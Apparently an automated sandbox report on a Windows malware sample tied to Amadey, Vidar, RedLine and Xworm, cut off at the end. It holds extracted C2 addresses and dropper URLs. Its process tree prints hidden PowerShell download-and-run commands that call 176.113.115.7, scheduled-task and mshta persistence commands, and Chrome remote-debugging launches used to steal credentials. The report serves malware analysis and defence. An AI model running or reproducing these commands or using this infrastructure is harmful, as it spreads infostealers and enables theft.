Overview

overview

10

Static

static

5

c9c2667371...bd.exe

windows7-x64

10

c9c2667371...bd.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/03/2025, 07:26

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    c9c266737131c566122595220c28e0bd.exe

  • Size

    938KB

  • MD5

    c9c266737131c566122595220c28e0bd

  • SHA1

    55a14ae5976cd04ac14e360c3ec0c22022f1d129

  • SHA256

    7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d

  • SHA512

    b8c23aad7ae2aa022e8d6a1d53beccbca78d4d8282318c6cd571478438c99e36293dcd24a3761764400925b4dd63c5794ffdf01e5096b181dd998c93a8a2c665

  • SSDEEP

    24576:zqDEvCTbMWu7rQYlBQcBiT6rprG8a06u:zTvC/MTQYxsWR7a06

Score
10/10
amadeygcleanerredlinevidarxworm092155ir7amtestprolivcredential_accessdefense_evasiondiscoveryexecutioninfostealerloaderpersistenceratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

vidar

Botnet

ir7am

C2

https://t.me/l793oy

https://steamcommunity.com/profiles/76561199829660832
Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0

Extracted

Family

redline

Botnet

testproliv

C2

45.155.103.183:1488

Extracted

Family

xworm

Version

5.0

C2

127.0.0.1:6666

5.180.155.29:6666
Mutex

O3GT6cT0bZJp53nK

Attributes
  • Install_directory

    %Temp%

  • install_file

    winservice.exe

aes.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 3 IoCs
    stealer
  • Detect Xworm Payload 1 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 1 IoCs
  • Redline family
    redline
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 13 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 19 IoCs
  • Uses browser remote debugging 2 TTPs 10 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 26 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 28 IoCs
  • Identifies Wine through registry keys 2 TTPs 13 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 5 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of FindShellTrayWindow 57 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\c9c266737131c566122595220c28e0bd.exe
    "C:\Users\Admin\AppData\Local\Temp\c9c266737131c566122595220c28e0bd.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3424
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn yCNUBma1NP4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\ADG9CZYBq.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4412
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn yCNUBma1NP4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\ADG9CZYBq.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1176
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\ADG9CZYBq.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3396
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'7CBXNQIVLTZIOSLXGK2OPEIWZNTT7SZ2.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3680
        • C:\Users\Admin\AppData\Local\Temp7CBXNQIVLTZIOSLXGK2OPEIWZNTT7SZ2.EXE
          "C:\Users\Admin\AppData\Local\Temp7CBXNQIVLTZIOSLXGK2OPEIWZNTT7SZ2.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2788
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3088
            • C:\Users\Admin\AppData\Local\Temp\10099760101\4a29b6abb7.exe
              "C:\Users\Admin\AppData\Local\Temp\10099760101\4a29b6abb7.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:2032
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c schtasks /create /tn qgadGmaLdj8 /tr "mshta C:\Users\Admin\AppData\Local\Temp\oKkAZea2s.hta" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:728
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn qgadGmaLdj8 /tr "mshta C:\Users\Admin\AppData\Local\Temp\oKkAZea2s.hta" /sc minute /mo 25 /ru "Admin" /f
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:3600
              • C:\Windows\SysWOW64\mshta.exe
                mshta C:\Users\Admin\AppData\Local\Temp\oKkAZea2s.hta
                7⤵
                • Checks computer location settings
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3048
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'0B3ZLRTJ5LRU1ZMX1YSW1ZTGSWGYPOR4.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3528
                  • C:\Users\Admin\AppData\Local\Temp0B3ZLRTJ5LRU1ZMX1YSW1ZTGSWGYPOR4.EXE
                    "C:\Users\Admin\AppData\Local\Temp0B3ZLRTJ5LRU1ZMX1YSW1ZTGSWGYPOR4.EXE"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1512
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10099770121\am_no.cmd" "
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4384
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 2
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:4888
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3144
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2212
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1952
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5072
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3444
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4272
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /tn "LJAzYmaPjzt" /tr "mshta \"C:\Temp\JrH7NO32X.hta\"" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:5100
              • C:\Windows\SysWOW64\mshta.exe
                mshta "C:\Temp\JrH7NO32X.hta"
                7⤵
                • Checks computer location settings
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4304
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3448
                  • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                    "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2784
            • C:\Users\Admin\AppData\Local\Temp\10100160101\0781f1c15c.exe
              "C:\Users\Admin\AppData\Local\Temp\10100160101\0781f1c15c.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4764
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • System Location Discovery: System Language Discovery
                PID:3032
            • C:\Users\Admin\AppData\Local\Temp\10100170101\22b5593f92.exe
              "C:\Users\Admin\AppData\Local\Temp\10100170101\22b5593f92.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:1316
              • C:\Users\Admin\AppData\Local\Temp\10100170101\22b5593f92.exe
                "C:\Users\Admin\AppData\Local\Temp\10100170101\22b5593f92.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2980
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 812
                7⤵
                • Program crash
                PID:3748
            • C:\Users\Admin\AppData\Local\Temp\10100180101\1c415f07d8.exe
              "C:\Users\Admin\AppData\Local\Temp\10100180101\1c415f07d8.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1848
            • C:\Users\Admin\AppData\Local\Temp\10100190101\8a471bea2a.exe
              "C:\Users\Admin\AppData\Local\Temp\10100190101\8a471bea2a.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1444
            • C:\Users\Admin\AppData\Local\Temp\10100200101\23a9053af2.exe
              "C:\Users\Admin\AppData\Local\Temp\10100200101\23a9053af2.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2080
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • System Location Discovery: System Language Discovery
                PID:1508
            • C:\Users\Admin\AppData\Local\Temp\10100210101\z3SJkC5.exe
              "C:\Users\Admin\AppData\Local\Temp\10100210101\z3SJkC5.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2004
              • C:\Windows\TEMP\{8E6A0F21-F5B3-4D5D-A7A3-D429E44C9A8E}\.cr\z3SJkC5.exe
                "C:\Windows\TEMP\{8E6A0F21-F5B3-4D5D-A7A3-D429E44C9A8E}\.cr\z3SJkC5.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\10100210101\z3SJkC5.exe" -burn.filehandle.attached=700 -burn.filehandle.self=696
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:1788
                • C:\Windows\TEMP\{0845D49E-7CC9-45E7-A695-8D51D986A097}\.ba\WiseTurbo.exe
                  C:\Windows\TEMP\{0845D49E-7CC9-45E7-A695-8D51D986A097}\.ba\WiseTurbo.exe
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2128
                  • C:\Users\Admin\AppData\Roaming\streamfirefox\WiseTurbo.exe
                    C:\Users\Admin\AppData\Roaming\streamfirefox\WiseTurbo.exe
                    9⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of SetThreadContext
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: MapViewOfSection
                    PID:728
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\SysWOW64\cmd.exe
                      10⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: MapViewOfSection
                      PID:2272
                      • C:\Users\Admin\AppData\Local\Temp\WatcherUpdate_test.exe
                        C:\Users\Admin\AppData\Local\Temp\WatcherUpdate_test.exe
                        11⤵
                        • Loads dropped DLL
                        PID:380
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1788 -s 744
                  8⤵
                  • Program crash
                  PID:3764
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1788 -s 652
                  8⤵
                  • Program crash
                  PID:3896
            • C:\Users\Admin\AppData\Local\Temp\10100220101\BXxKvLN.exe
              "C:\Users\Admin\AppData\Local\Temp\10100220101\BXxKvLN.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:2484
            • C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
              "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:1736
              • C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
                "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Checks processor information in registry
                PID:3840
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
                  8⤵
                  • Uses browser remote debugging
                  • Enumerates system info in registry
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:3932
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9c7fecc40,0x7ff9c7fecc4c,0x7ff9c7fecc58
                    9⤵
                      PID:3048
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1996,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1992 /prefetch:2
                      9⤵
                        PID:2012
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1892,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2136 /prefetch:3
                        9⤵
                          PID:1504
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2288,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2264 /prefetch:8
                          9⤵
                            PID:4688
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3176,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3196 /prefetch:1
                            9⤵
                            • Uses browser remote debugging
                            PID:3892
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3200,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3244 /prefetch:1
                            9⤵
                            • Uses browser remote debugging
                            PID:2464
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4268,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4560 /prefetch:1
                            9⤵
                            • Uses browser remote debugging
                            PID:4244
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4748,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4796 /prefetch:8
                            9⤵
                              PID:704
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4584,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4780 /prefetch:8
                              9⤵
                                PID:4152
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4760,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4532 /prefetch:8
                                9⤵
                                  PID:5268
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4996,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5004 /prefetch:8
                                  9⤵
                                    PID:5332
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4864,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4532 /prefetch:8
                                    9⤵
                                      PID:5528
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5020,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5204 /prefetch:8
                                      9⤵
                                        PID:5576
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4888,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5220 /prefetch:8
                                        9⤵
                                          PID:5624
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4860,i,15191983898962533291,16242173230583906053,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4852 /prefetch:8
                                          9⤵
                                            PID:6048
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
